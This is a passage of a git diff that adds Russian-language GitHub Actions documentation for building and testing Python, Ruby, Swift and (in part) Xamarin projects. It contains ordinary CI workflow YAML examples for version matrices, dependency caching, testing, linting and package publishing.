. --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics + - name: Test with pytest + run: | + pytest +``` + +## Указание версии Python + +Чтобы использовать предустановленную версию Python или PyPy в размещенном в {% data variables.product.prodname_dotcom %} средстве выполнения, используйте действие `setup-python`. Это действие находит определенную версию Python или PyPy из кэша инструментов в каждом средстве запуска и добавляет необходимые двоичные файлы в переменную `PATH`, которая сохраняется до конца задания. Если определенная предустановленная версия Python отсутствует в кэше инструментов, действие `setup-python` скачивает и настраивает соответствующую версию из репозитория [`python-versions`](https://github.com/actions/python-versions). + +Применение действия `setup-python` представляет собой рекомендуемый способ использования Python с {% data variables.product.prodname_actions %}, так как он обеспечивает согласованное поведение в разных средствах выполнения и различных версиях Python. При использовании локального средства выполнения необходимо установить Python и добавить его в `PATH`. Дополнительные сведения см. в описании [действия `setup-python`](https://github.com/marketplace/actions/setup-python). + +В приведенной ниже таблице описаны расположения для кэша инструментов в каждом размещенном в {% data variables.product.prodname_dotcom %} средстве выполнения. + +|| Ubuntu | Mac | Windows | +|------|-------|------|----------| +|**Каталог кэша инструментов** |`/opt/hostedtoolcache/*`|`/Users/runner/hostedtoolcache/*`|`C:\hostedtoolcache\windows\*`| +|**Кэш инструментов Python**|`/opt/hostedtoolcache/Python/*`|`/Users/runner/hostedtoolcache/Python/*`|`C:\hostedtoolcache\windows\Python\*`| +|**Кэш инструментов PyPy**|`/opt/hostedtoolcache/PyPy/*`|`/Users/runner/hostedtoolcache/PyPy/*`|`C:\hostedtoolcache\windows\PyPy\*`| + +Если вы используете локальное средство выполнения, его можно настроить для управления зависимостями с помощью действия `setup-python`. Дополнительные сведения см. в разделе об [использовании setup-python с локальным средством выполнения](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) в файле сведений `setup-python`. + +{% data variables.product.prodname_dotcom %} поддерживает синтаксис семантического версионирования. Дополнительные сведения см. в разделах [Использование семантического версионирования](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept) и [Спецификация семантического версионирования](https://semver.org/). + +### Использование нескольких версий Python + +```yaml{:copy} +name: Python package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + # You can use PyPy versions in python-version. + # For example, {% ifversion actions-node16-action %}pypy-2.7 and pypy-3.8{% else %}pypy2 and pypy3{% endif %} + matrix: + python-version: ["2.7", "3.7", "3.8", "3.9", "3.10"] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Python {% raw %}${{ matrix.python-version }}{% endraw %} + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: {% raw %}${{ matrix.python-version }}{% endraw %} + # You can test your matrix by printing the current Python version + - name: Display Python version + run: python -c "import sys; print(sys.version)" +``` + +### Использование определенной версии Python + +Вы можете настроить определенную версию Python. Например, 3.9. Кроме того, можно использовать синтаксис семантической версии, чтобы получить последний дополнительный выпуск. В этом примере используется последний дополнительный выпуск Python 3. + +```yaml{:copy} +name: Python package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Python 3.x + uses: {% data reusables.actions.action-setup-python %} + with: + # Semantic version range syntax or exact version of a Python version + python-version: '3.x' + # Optional - x64 or x86 architecture, defaults to x64 + architecture: 'x64' + # You can test your matrix by printing the current Python version + - name: Display Python version + run: python -c "import sys; print(sys.version)" +``` + +### Исключение версии + +Если указать версию Python, которая недоступна, `setup-python` завершается сбоем и выводится ошибка, например `##[error]Version 3.4 with arch x64 not found`. Сообщение об ошибке содержит доступные версии. + +Вы также можете использовать ключевое слово `exclude` в рабочем процессе, если существует конфигурация Python, которую не нужно запускать. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy). + +```yaml{:copy} +name: Python package + +on: [push] + +jobs: + build: + + runs-on: {% raw %}${{ matrix.os }}{% endraw %} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + python-version: ["3.7", "3.8", "3.9", "3.10", {% ifversion actions-node16-action %}pypy-2.7, pypy-3.8{% else %}pypy2, pypy3{% endif %}] + exclude: + - os: macos-latest + python-version: "3.7" + - os: windows-latest + python-version: "3.7" +``` + +### Использование версии Python по умолчанию + +Мы рекомендуем использовать `setup-python` для настройки версии Python, используемой в рабочих процессах, так как это помогает сделать зависимости явными. Если вы не используете`setup-python`, при вызове `python` в любой оболочке используется версия Python по умолчанию, заданная в `PATH`. Версия Python по умолчанию зависит от конкретных размещенных в {% data variables.product.prodname_dotcom %} средств выполнения, что может привести к непредвиденным изменениям или использованию более ранней версии по сравнению с ожидаемой. + +| Размещенное в {% data variables.product.prodname_dotcom %} средство выполнения | Описание | +|----|----| +| Ubuntu | Средства выполнения Ubuntu имеют несколько версий системного Python, установленных в `/usr/bin/python` и `/usr/bin/python3`. Версии Python, упакованные вместе с Ubuntu, являются дополнением к версиям, которые {% data variables.product.prodname_dotcom %} устанавливаем в кэше инструментов. | +| Windows | За исключением версий Python, которые находятся в кэше инструментов, Windows не содержит эквивалентной версии системного Python. Чтобы обеспечить согласованную работу с другими средствами выполнения и обеспечить использование Python в исходном виде без действия `setup-python`, {% data variables.product.prodname_dotcom %} добавляет несколько версий из кэша инструментов в `PATH`.| +| macOS | Средства выполнения macOS имеют несколько установленных версий системного Python в дополнение к версиям, входящим в состав кэша инструментов. Версии системного Python находятся в каталоге `/usr/local/Cellar/python/*`. | + +## Установка зависимостей + +Для размещенных в {% data variables.product.prodname_dotcom %} средств выполнения установлен диспетчер пакетов pip. Вы можете использовать pip для установки зависимостей из реестра пакетов PyPI перед созданием и тестированием кода. Например, приведенный ниже код YAML устанавливает или обновляет установщик пакетов `pip` и пакеты `setuptools` и `wheel`. + +{% ifversion actions-caching %}Можно также кэшировать зависимости, чтобы ускорить рабочий процесс. Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).{% endif %} + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Set up Python + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.x' +- name: Install dependencies + run: python -m pip install --upgrade pip setuptools wheel +``` + +### Файл требований + +Типичным следующим шагом после обновления `pip` является установка зависимостей из *requirements.txt*. Дополнительные сведения см. в описании [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file). + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Set up Python + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.x' +- name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt +``` + +{% ifversion actions-caching %} + +### Кэширование зависимостей + +Можно кэшировать и восстанавливать зависимости с помощью [действия`setup-python`](https://github.com/actions/setup-python). + +В следующем примере кэшируются зависимости для pip. + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.10' + cache: 'pip' +- run: pip install -r requirements.txt +- run: pip test +``` + +По умолчанию действие `setup-python` ищет файл зависимостей (`requirements.txt` для pip, `Pipfile.lock` для pipenv или `poetry.lock` для poetry) во всем репозитории. Дополнительные сведения см. в разделе [Кэширование зависимостей пакетов](https://github.com/actions/setup-python#caching-packages-dependencies) в файле README `setup-python`. + +Если у вас есть особые требования или вам нужно управлять кэшированием более детально, можно использовать [действие `cache`](https://github.com/marketplace/actions/cache). Pip кэширует зависимости в разных расположениях в зависимости от операционной системы средства выполнения. Путь, по которому требуется выполнить кэширование, может отличаться от приведенного выше примера Ubuntu в зависимости от используемой операционной системы. Дополнительные сведения см. в [примерах кэширования Python](https://github.com/actions/cache/blob/main/examples.md#python---pip) в репозитории действия `cache`. + +{% endif %} + +## Тестирование кода + +Вы можете использовать те же команды, которые используются для создания и тестирования кода в локальной среде. + +### Тестирование с помощью pytest и pytest-cov + +В этом примере устанавливаются или обновляются `pytest` и `pytest-cov`. Затем выполняются тесты, выходные данные выводятся в формате JUnit, а результаты по объему протестированного кода выводятся в Cobertura. Дополнительные сведения см. в описании [JUnit](https://junit.org/junit5/) и [Cobertura](https://cobertura.github.io/cobertura/). + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Set up Python + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.x' +- name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt +- name: Test with pytest + run: | + pip install pytest + pip install pytest-cov + pytest tests.py --doctest-modules --junitxml=junit/test-results.xml --cov=com --cov-report=xml --cov-report=html +``` + +### Использование Flake8 для анализа кода + +В следующем примере выполняется установка или обновление `flake8` и его использование для анализа кода всех файлов. Дополнительные сведения см. в описании [Flake8](http://flake8.pycqa.org/en/latest/). + +```yaml{:copy} +steps: +- uses: {% data reusables.actions.action-checkout %} +- name: Set up Python + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.x' +- name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt +- name: Lint with flake8 + run: | + pip install flake8 + flake8 . + continue-on-error: true +``` + +На шаге анализа кода задан параметр `continue-on-error: true`. Это предотвратит сбой рабочего процесса, если шаг анализа кода завершится неудачно. Когда вы устраните все ошибки анализа кода, можете удалить этот параметр, чтобы рабочий процесс регистрировал новые проблемы. + +### Выполнение тестов с помощью tox + +В {% data variables.product.prodname_actions %}можно выполнять тесты с помощью tox и распределять работу между несколькими заданиями. Чтобы выбрать версию Python в `PATH`, а не указывать конкретную версию, нужно вызвать tox с использованием `-e py`. Дополнительные сведения см. в описании [tox](https://tox.readthedocs.io/en/latest/). + +```yaml{:copy} +name: Python package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + python: ["3.8", "3.9", "3.10"] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup Python + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: {% raw %}${{ matrix.python }}{% endraw %} + - name: Install tox and any other packages + run: pip install tox + - name: Run tox + # Run tox using the version of Python in `PATH` + run: tox -e py +``` + +## Упаковка данных рабочего процесса в виде артефактов + +Вы можете отправить артефакты для просмотра после завершения рабочего процесса. Например, может потребоваться сохранить файлы журналов, основные дампы, результаты теста или снимки экрана. Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). + +В следующем примере показано, как использовать действие `upload-artifact` для архивации результатов теста при выполнении `pytest`. Дополнительные сведения см. в описании [действия `upload-artifact`](https://github.com/actions/upload-artifact). + +```yaml{:copy} +name: Python package + +on: [push] + +jobs: + build: + + runs-on: ubuntu-latest + strategy: + matrix: + python-version: ["3.7", "3.8", "3.9", "3.10"] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Setup Python # Set Python version + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: {% raw %}${{ matrix.python-version }}{% endraw %} + # Install pip and pytest + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install pytest + - name: Test with pytest + run: pytest tests.py --doctest-modules {% raw %}--junitxml=junit/test-results-${{ matrix.python-version }}.xml{% endraw %} + - name: Upload pytest test results + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: {% raw %}pytest-results-${{ matrix.python-version }}{% endraw %} + path: {% raw %}junit/test-results-${{ matrix.python-version }}.xml{% endraw %} + # Use always() to always run this step to publish test results when there are test failures + if: {% raw %}${{ always() }}{% endraw %} +``` + +## Публикация в реестрах пакетов + +Вы можете настроить рабочий процесс для публикации пакета Python в реестре пакетов после прохождения тестов CI. В этом разделе показано, как использовать {% data variables.product.prodname_actions %} для отправки пакета в PyPI при каждой [публикации выпуска](/github/administering-a-repository/managing-releases-in-a-repository). + +В этом примере потребуется создать два [маркера API PyPI](https://pypi.org/help/#apitoken). Вы можете использовать секреты для хранения маркеров доступа или учетных данных, необходимых для публикации пакета. Дополнительные сведения см. в статье «[Создание и использование зашифрованных секретов](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)». + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Upload Python Package + +on: + release: + types: [published] + +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Python + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.x' + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install build + - name: Build package + run: python -m build + - name: Publish package + uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29 + with: + user: __token__ + password: {% raw %}${{ secrets.PYPI_API_TOKEN }}{% endraw %} +``` + +Дополнительные сведения о начальном рабочем процессе см. в описании [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml). diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-ruby.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-ruby.md new file mode 100644 index 000000000000..18ba81d52351 --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-ruby.md @@ -0,0 +1,331 @@ +--- +title: Создание и тестирование для Ruby +intro: Вы можете создать рабочий процесс непрерывной интеграции для сборки и тестирования проекта Ruby. +redirect_from: + - /actions/guides/building-and-testing-ruby +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Ruby +shortTitle: Build & test Ruby +ms.openlocfilehash: d6408613be9666dc86e982f99dcba47bbe3f7f9b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147408990' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как получить рабочий процесс непрерывной интеграции (CI), который создает и тестирует приложение Ruby. Если тесты CI проходят правильно, может потребоваться развернуть код или опубликовать пакет. + +## Предварительные требования + +Рекомендуется иметь базовое представление о Ruby, YAML, параметрах конфигурации рабочих процессов, а также о том, как создавать файл рабочего процесса. Дополнительные сведения см. в разделе: + +- [Сведения о {% data variables.product.prodname_actions %}](/actions/learn-github-actions) +- [Ruby за 20 минут](https://www.ruby-lang.org/en/documentation/quickstart/) + +## Использование начального рабочего процесса Ruby + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс Ruby, который будет работать для большинства проектов Ruby. Дополнительные сведения см. в разделе [Начальный рабочий процесс Ruby](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml). + +Чтобы быстро приступить к работе, добавьте начальный рабочий процесс в каталог `.github/workflows` своего репозитория. В показанном ниже рабочем процессе предполагается, что ветвью по умолчанию для вашего репозитория является `main`. + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Ruby + +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + test: + + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Ruby + uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108 + with: + ruby-version: '3.1' + - name: Install dependencies + run: bundle install + - name: Run tests + run: bundle exec rake +``` + +## Указание версии Ruby + +Самый простой способ указать версию Ruby заключается в использовании действия `ruby/setup-ruby`, предоставляемого организацией Ruby на GitHub. Это действие добавляет любую поддерживаемую версию Ruby в `PATH` для каждого задания, выполняемого в рабочем процессе. Дополнительные сведения и доступные версии Ruby см. в описании [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby). + +Применение действия `ruby/setup-ruby` Ruby представляет собой рекомендуемый способ использования Ruby с GitHub Actions, так как он обеспечивает согласованное поведение в разных средствах выполнения и различных версиях Ruby. + +Действие `setup-ruby` принимает версию Ruby в качестве входных данных и настраивает ее в средстве выполнения. + +```yaml +steps: +- uses: {% data reusables.actions.action-checkout %} +- uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108 + with: + ruby-version: '3.1' # Not needed with a .ruby-version file +- run: bundle install +- run: bundle exec rake +``` + +Кроме того, можно проверить файл `.ruby-version` в корне репозитория, чтобы `setup-ruby` использовал определенную в этом файле версию. + +## Тестирование с использованием нескольких версий Ruby + +Вы можете добавить матричную стратегию для запуска рабочего процесса с несколькими версиями Ruby. Например, вы можете протестировать код для последних выпусков исправлений в версиях 3.1, 3.0 и 2.7. + +{% raw %} +```yaml +strategy: + matrix: + ruby-version: ['3.1', '3.0', '2.7'] +``` +{% endraw %} + +Каждая версия Ruby, указанная в массиве `ruby-version`, создает задание, которое выполняет одни и те же действия. Контекст {% raw %}`${{ matrix.ruby-version }}`{% endraw %} используется для доступа к версии текущего задания. Дополнительные сведения о матричных стратегиях и контекстах см. в разделах [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions) и [Контексты](/actions/learn-github-actions/contexts). + +Полный обновленный рабочий процесс с матричной стратегией может выглядеть следующим образом: + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Ruby CI + +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + test: + + runs-on: ubuntu-latest + + strategy: + matrix: + ruby-version: ['3.1', '3.0', '2.7'] + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: {% raw %}Set up Ruby ${{ matrix.ruby-version }}{% endraw %} + uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108 + with: + ruby-version: {% raw %}${{ matrix.ruby-version }}{% endraw %} + - name: Install dependencies + run: bundle install + - name: Run tests + run: bundle exec rake +``` + +## Установка зависимостей с использованием средства увязки в пакеты + +Действие `setup-ruby` установит средство увязки в пакеты автоматически. Версия определяется по файлу `gemfile.lock`. Если в файле блокировки отсутствует версия, будет установлена последняя совместимая версия. + +```yaml +steps: +- uses: {% data reusables.actions.action-checkout %} +- uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108 + with: + ruby-version: '3.1' +- run: bundle install +``` + +{% ifversion actions-caching %} + +### Кэширование зависимостей + +Действия `setup-ruby` предоставляют метод автоматической обработки кэширования пакетов между запусками. + +Чтобы включить кэширование, укажите следующее. + +{% raw %} +```yaml +steps: +- uses: ruby/setup-ruby@359bebbc29cbe6c87da6bc9ea3bc930432750108 + with: + bundler-cache: true +``` +{% endraw %} + +При этом средство увязки в пакеты будет настроено для установки пакетов в `vendor/cache`. Для каждого успешного выполнения рабочего процесса эта папка будет кэширована {% data variables.product.prodname_actions %} и повторно скачана для последующих выполнений рабочего процесса. Хэш файла gemfile.lock и версия Ruby используются в качестве ключа кэша. Если вы устанавливаете новые пакеты или изменяете версию, кэш станет недействительным, а средство увязки в пакеты выполнит новую установку. + +**Кэширование без использования setup-ruby** + +Для более широкого контроля над кэшированием можно напрямую использовать действие `actions/cache`. Дополнительные сведения см. в разделе [Кэширование зависимостей для ускорения рабочих процессов](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). + +```yaml +steps: +- uses: {% data reusables.actions.action-cache %} + with: + path: vendor/bundle + key: {% raw %}${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}{% endraw %} + restore-keys: | + {% raw %}${{ runner.os }}-gems-{% endraw %} +- name: Bundle install + run: | + bundle config path vendor/bundle + bundle install --jobs 4 --retry 3 +``` + +Если вы используете матричную сборку, потребуется включить матричные переменные в ключ кэша. Например, если у вас есть матричная стратегия для разных версий ruby (`matrix.ruby-version`) и различных операционных систем (`matrix.os`), шаги рабочего процесса могут выглядеть следующим образом: + +```yaml +steps: +- uses: {% data reusables.actions.action-cache %} + with: + path: vendor/bundle + key: {% raw %}bundle-use-ruby-${{ matrix.os }}-${{ matrix.ruby-version }}-${{ hashFiles('**/Gemfile.lock') }}{% endraw %} + restore-keys: | + {% raw %}bundle-use-ruby-${{ matrix.os }}-${{ matrix.ruby-version }}-{% endraw %} +- name: Bundle install + run: | + bundle config path vendor/bundle + bundle install --jobs 4 --retry 3 +``` + +{% endif %} + +## Матричное тестирование кода + +В следующем примере выполняется матричное тестирование всех стабильных выпусков и головных версий MRI, JRuby и TruffleRuby на базе Ubuntu и macOS. + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Matrix Testing + +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + test: + runs-on: {% raw %}${{ matrix.os }}-latest{% endraw %} + strategy: + fail-fast: false + matrix: + os: [ubuntu, macos] + ruby: [2.5, 2.6, 2.7, head, debug, jruby, jruby-head, truffleruby, truffleruby-head] + continue-on-error: {% raw %}${{ endsWith(matrix.ruby, 'head') || matrix.ruby == 'debug' }}{% endraw %} + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: ruby/setup-ruby@477b21f02be01bcb8030d50f37cfec92bfa615b6 + with: + ruby-version: {% raw %}${{ matrix.ruby }}{% endraw %} + - run: bundle install + - run: bundle exec rake +``` + +## Анализ кода + +В следующем примере выполняется установка `rubocop` и его использование для анализа кода всех файлов. Дополнительные сведения см. в описании [RuboCop](https://github.com/rubocop-hq/rubocop). Вы можете [настроить Rubocop](https://docs.rubocop.org/rubocop/configuration.html), чтобы задать конкретные правила анализа. + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Linting + +on: [push] + +jobs: + test: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: ruby/setup-ruby@477b21f02be01bcb8030d50f37cfec92bfa615b6 + with: + ruby-version: 2.6 + - run: bundle install + - name: Rubocop + run: rubocop +``` + +## Публикация пакетов + +Вы можете настроить рабочий процесс для публикации пакета Ruby в любом подходящем реестре пакетов после прохождения тестов CI. + +Вы можете хранить любые маркеры доступа или учетные данные, необходимые для публикации пакета, с помощью секретов репозитория. В следующем примере создается пакет, который публикуется в `GitHub Package Registry` и `RubyGems`. + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Ruby Gem + +on: + # Manually publish + workflow_dispatch: + # Alternatively, publish whenever changes are merged to the `main` branch. + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + build: + name: Build + Publish + runs-on: ubuntu-latest + permissions: + packages: write + contents: read + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set up Ruby 2.6 + uses: ruby/setup-ruby@477b21f02be01bcb8030d50f37cfec92bfa615b6 + with: + ruby-version: 2.6 + - run: bundle install + + - name: Publish to GPR + run: |{% raw %} + mkdir -p $HOME/.gem + touch $HOME/.gem/credentials + chmod 0600 $HOME/.gem/credentials + printf -- "---\n:github: ${GEM_HOST_API_KEY}\n" > $HOME/.gem/credentials + gem build *.gemspec + gem push --KEY github --host https://rubygems.pkg.github.com/${OWNER} *.gem + env: + GEM_HOST_API_KEY: "Bearer ${{secrets.GITHUB_TOKEN}}" + OWNER: ${{ github.repository_owner }} + + - name: Publish to RubyGems + run: | + mkdir -p $HOME/.gem + touch $HOME/.gem/credentials + chmod 0600 $HOME/.gem/credentials + printf -- "---\n:rubygems_api_key: ${GEM_HOST_API_KEY}\n" > $HOME/.gem/credentials + gem build *.gemspec + gem push *.gem + env: + GEM_HOST_API_KEY: "${{secrets.RUBYGEMS_AUTH_TOKEN}}"{% endraw %} +``` diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-swift.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-swift.md new file mode 100644 index 000000000000..ad4b4a464016 --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-swift.md @@ -0,0 +1,132 @@ +--- +title: Создание и тестирование для Swift +intro: Вы можете создать рабочий процесс непрерывной интеграции для сборки и тестирования проекта Swift. +redirect_from: + - /actions/guides/building-and-testing-swift +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Swift +shortTitle: Build & test Swift +ms.openlocfilehash: 5717f9c7a939d2347ea5a49458002185c3ec07eb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147408998' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве описано, как создавать и тестировать пакет Swift. + +{% ifversion ghae %} Чтобы создать и протестировать проект Swift на платформе {% data variables.product.prodname_ghe_managed %}, требуются необходимые зависимости Swift. Размещенные в {% data reusables.actions.self-hosted-runners-software %} {% else %}{% data variables.product.prodname_dotcom %} средства выполнения тестов имеют кэш инструментов с предварительно установленным программным обеспечением, а средства выполнения тестов Ubuntu и macOS включают в себя зависимости для создания пакетов Swift. Полный список актуальных программ и предварительно установленных версий Swift и Xcode см. в статье [Сведения о средствах выполнения тестов, размещенных в GitHub](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software).{% endif %} + +## Предварительные требования + +Вы уже должны быть знакомы с синтаксисом YAML и его использованием с {% data variables.product.prodname_actions %}. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions). + +Рекомендуется иметь базовое представление о пакетах Swift. Дополнительные сведения см. в статье [Пакеты Swift](https://developer.apple.com/documentation/swift_packages) документации Apple для разработчиков. + +## Использование начального рабочего процесса Swift + +{% data variables.product.prodname_dotcom %} предоставляет начальный рабочий процесс Swift, который должен работать для большинства проектов Swift. В этом руководстве приведены примеры настройки начального рабочего процесса. Дополнительные сведения см. в разделе [Начальный рабочий процесс Swift](https://github.com/actions/starter-workflows/blob/main/ci/swift.yml). + +Чтобы быстро приступить к работе, добавьте начальный рабочий процесс в каталог `.github/workflows` своего репозитория. + +```yaml{:copy} +name: Swift + +on: [push] + +jobs: + build: + + runs-on: macos-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Build + run: swift build + - name: Run tests + run: swift test +``` + +## Указание версии Swift + +Чтобы использовать конкретную предварительно установленную версию Swift в размещенном в {% data variables.product.prodname_dotcom %} средстве выполнения тестов, примените действие `fwal/setup-swift`. Это действие находит определенную версию Swift из кэша инструментов в средстве выполнения тестов и добавляет необходимые двоичные файлы в переменную `PATH`. Эти изменения будут сохранены для остальной части задания. Дополнительные сведения см. в описании действия [`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift). + +При использовании локального средства выполнения тестов необходимо установить нужные версии Swift и добавить их в `PATH`. + +В приведенных ниже примерах показано использование действия `fwal/setup-swift`. + +### Использование нескольких версий Swift + +Задание можно настроить для использования нескольких версий Swift в матрице. + +```yaml{:copy} + +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + + +name: Swift + +on: [push] + +jobs: + build: + name: {% raw %}Swift ${{ matrix.swift }} on ${{ matrix.os }}{% endraw %} + strategy: + matrix: + os: [ubuntu-latest, macos-latest] + swift: ["5.2", "5.3"] + runs-on: {% raw %}${{ matrix.os }}{% endraw %} + steps: + - uses: fwal/setup-swift@2040b795e5c453c3a05fcb8316496afc8a74f192 + with: + swift-version: {% raw %}${{ matrix.swift }}{% endraw %} + - uses: {% data reusables.actions.action-checkout %} + - name: Build + run: swift build + - name: Run tests + run: swift test +``` + +### Использование одной определенной версии Swift + +Вы можете настроить задание для использования одной конкретной версии Swift, например `5.3.3`. + +{% raw %} +```yaml{:copy} +steps: + - uses: fwal/setup-swift@2040b795e5c453c3a05fcb8316496afc8a74f192 + with: + swift-version: "5.3.3" + - name: Get swift version + run: swift --version # Swift 5.3.3 +``` +{% endraw %} + +## Создание и тестирование кода + +Вы можете использовать те же команды, которые используете в локальной среде для создания и тестирования кода с помощью Swift. В этом примере показано, как использовать `swift build` и `swift test` в задании: + +```yaml{:copy} +steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: fwal/setup-swift@2040b795e5c453c3a05fcb8316496afc8a74f192 + with: + swift-version: "5.3.3" + - name: Build + run: swift build + - name: Run tests + run: swift test +``` diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md new file mode 100644 index 000000000000..763233bb7c2b --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md @@ -0,0 +1,122 @@ +--- +title: Создание и тестирование приложений Xamarin +intro: Рабочий процесс непрерывной интеграции (CI) можно создать в GitHub Actions для сборки и тестирования приложения Xamarin. +redirect_from: + - /actions/guides/building-and-testing-xamarin-applications +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI + - Xamarin + - Xamarin.iOS + - Xamarin.Android + - Android + - iOS +shortTitle: Build & test Xamarin apps +ms.openlocfilehash: 2e4e9a8eb73cd9dc2ef054c6c3ac48a9beadd9d1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147518931' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве показано, как создать 